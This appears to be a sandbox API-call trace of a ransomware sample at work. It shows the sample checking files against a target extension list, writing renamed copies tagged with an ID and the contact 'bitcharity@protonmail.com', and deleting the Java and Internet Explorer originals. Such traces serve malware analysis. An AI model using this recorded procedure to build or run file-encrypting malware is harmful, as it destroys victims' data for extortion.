1 [0296.512] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.512] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xea, lpOverlapped=0x0) returned 1 [0296.539] SetEndOfFile (hFile=0x10a8) returned 1 [0296.539] CloseHandle (hObject=0x10a8) returned 1 [0296.539] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.539] SetEndOfFile (hFile=0x10c8) returned 1 [0296.540] CloseHandle (hObject=0x10c8) returned 1 [0296.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.540] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".doc") returned 4 [0296.541] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0296.541] lstrlenW (lpString=".docx") returned 5 [0296.541] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0296.541] lstrlenW (lpString=".pdf") returned 4 [0296.541] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString=".xls") returned 4 [0296.541] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString=".xlsx") returned 5 [0296.541] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0296.541] lstrlenW (lpString=".ppt") returned 4 [0296.541] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".zip") returned 4 [0296.541] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString=".rar") returned 4 [0296.541] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString=".bz2") returned 4 [0296.541] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0296.541] lstrlenW (lpString=".7z") returned 3 [0296.541] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".dbf") returned 4 [0296.541] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".1cd") returned 4 [0296.541] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".jpg") returned 4 [0296.541] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.541] lstrlenW (lpString=".doc") returned 4 [0296.541] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0296.542] lstrlenW (lpString=".docx") returned 5 [0296.542] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0296.542] lstrlenW (lpString=".pdf") returned 4 [0296.542] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0296.542] lstrlenW (lpString=".xls") returned 4 [0296.542] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0296.542] lstrlenW (lpString=".xlsx") returned 5 [0296.542] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0296.542] lstrlenW (lpString=".ppt") returned 4 [0296.542] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0296.542] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.542] lstrlenW (lpString=".zip") returned 4 [0296.542] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0296.542] lstrlenW (lpString=".rar") returned 4 [0296.542] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0296.542] lstrlenW (lpString=".bz2") returned 4 [0296.542] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0296.542] lstrlenW (lpString=".7z") returned 3 [0296.542] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0296.542] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.542] lstrlenW (lpString=".dbf") returned 4 [0296.542] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0296.542] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.542] lstrlenW (lpString=".1cd") returned 4 [0296.542] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0296.542] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0296.542] lstrlenW (lpString=".jpg") returned 4 [0296.542] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0296.542] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.542] lstrlenW (lpString="dcpr.dll") returned 8 [0296.542] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.543] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=159808) returned 1 [0296.543] CloseHandle (hObject=0x10c8) returned 1 [0296.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0296.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.543] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.543] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.543] GetLastError () returned 0x0 [0296.543] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x27040, lpOverlapped=0x0) returned 1 [0296.617] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x27050, lpOverlapped=0x0) returned 1 [0296.619] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.619] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe4, lpOverlapped=0x0) returned 1 [0296.620] SetEndOfFile (hFile=0x10a8) returned 1 [0296.620] CloseHandle (hObject=0x10a8) returned 1 [0296.620] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.620] SetEndOfFile (hFile=0x10c8) returned 1 [0296.621] CloseHandle (hObject=0x10c8) returned 1 [0296.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.622] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0296.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.622] lstrlenW (lpString=".doc") returned 4 [0296.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString=".docx") returned 5 [0296.622] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.622] lstrlenW (lpString=".pdf") returned 4 [0296.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString=".xls") returned 4 [0296.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString=".xlsx") returned 5 [0296.622] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.622] lstrlenW (lpString=".ppt") returned 4 [0296.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.622] lstrlenW (lpString=".zip") returned 4 [0296.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString=".rar") returned 4 [0296.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.622] lstrlenW (lpString=".bz2") returned 4 [0296.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.622] lstrlenW (lpString=".7z") returned 3 [0296.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.622] lstrlenW (lpString=".dbf") returned 4 [0296.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".1cd") returned 4 [0296.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".jpg") returned 4 [0296.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".doc") returned 4 [0296.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString=".docx") returned 5 [0296.623] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0296.623] lstrlenW (lpString=".pdf") returned 4 [0296.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString=".xls") returned 4 [0296.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString=".xlsx") returned 5 [0296.623] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0296.623] lstrlenW (lpString=".ppt") returned 4 [0296.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".zip") returned 4 [0296.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString=".rar") returned 4 [0296.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.623] lstrlenW (lpString=".bz2") returned 4 [0296.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.623] lstrlenW (lpString=".7z") returned 3 [0296.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".dbf") returned 4 [0296.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.623] lstrlenW (lpString=".1cd") returned 4 [0296.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0296.624] lstrlenW (lpString=".jpg") returned 4 [0296.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.624] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.624] lstrlenW (lpString="decora_sse.dll") returned 14 [0296.624] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.624] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=86080) returned 1 [0296.624] CloseHandle (hObject=0x10c8) returned 1 [0296.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0296.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.624] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.625] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.625] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.625] GetLastError () returned 0x0 [0296.625] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x15040, lpOverlapped=0x0) returned 1 [0296.687] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x15050, lpOverlapped=0x0) returned 1 [0296.689] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.689] WriteFile (in: hFile=0x10a8, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf0, lpOverlapped=0x0) returned 1 [0296.690] SetEndOfFile (hFile=0x10a8) returned 1 [0296.690] CloseHandle (hObject=0x10a8) returned 1 [0296.690] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.690] SetEndOfFile (hFile=0x10c8) returned 1 [0296.691] CloseHandle (hObject=0x10c8) returned 1 [0296.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.692] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0296.692] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.692] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.692] lstrlenW (lpString=".doc") returned 4 [0296.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString=".docx") returned 5 [0296.692] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0296.692] lstrlenW (lpString=".pdf") returned 4 [0296.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString=".xls") returned 4 [0296.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString=".xlsx") returned 5 [0296.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0296.692] lstrlenW (lpString=".ppt") returned 4 [0296.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.692] lstrlenW (lpString=".zip") returned 4 [0296.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString=".rar") returned 4 [0296.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.692] lstrlenW (lpString=".bz2") returned 4 [0296.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.692] lstrlenW (lpString=".7z") returned 3 [0296.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.692] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.692] lstrlenW (lpString=".dbf") returned 4 [0296.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".1cd") returned 4 [0296.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".jpg") returned 4 [0296.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".doc") returned 4 [0296.693] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString=".docx") returned 5 [0296.693] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0296.693] lstrlenW (lpString=".pdf") returned 4 [0296.693] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString=".xls") returned 4 [0296.693] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString=".xlsx") returned 5 [0296.693] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0296.693] lstrlenW (lpString=".ppt") returned 4 [0296.693] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".zip") returned 4 [0296.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString=".rar") returned 4 [0296.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.693] lstrlenW (lpString=".bz2") returned 4 [0296.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.693] lstrlenW (lpString=".7z") returned 3 [0296.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".dbf") returned 4 [0296.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.693] lstrlenW (lpString=".1cd") returned 4 [0296.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0296.694] lstrlenW (lpString=".jpg") returned 4 [0296.694] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.694] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.694] lstrlenW (lpString="npdeployJava1.dll") returned 17 [0296.694] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.707] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=1156672) returned 1 [0296.707] CloseHandle (hObject=0x10a8) returned 1 [0296.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0296.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.707] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.707] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.708] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.708] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0296.708] GetLastError () returned 0x0 [0296.708] ReadFile (in: hFile=0x10a8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0297.695] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0297.758] ReadFile (in: hFile=0x10a8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x1a650, lpOverlapped=0x0) returned 1 [0298.109] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x1a660, lpOverlapped=0x0) returned 1 [0298.113] ReadFile (in: hFile=0x10a8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.113] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf6, lpOverlapped=0x0) returned 1 [0298.113] SetEndOfFile (hFile=0x10a4) returned 1 [0298.114] CloseHandle (hObject=0x10a4) returned 1 [0298.114] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.114] SetEndOfFile (hFile=0x10a8) returned 1 [0298.115] CloseHandle (hObject=0x10a8) returned 1 [0298.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 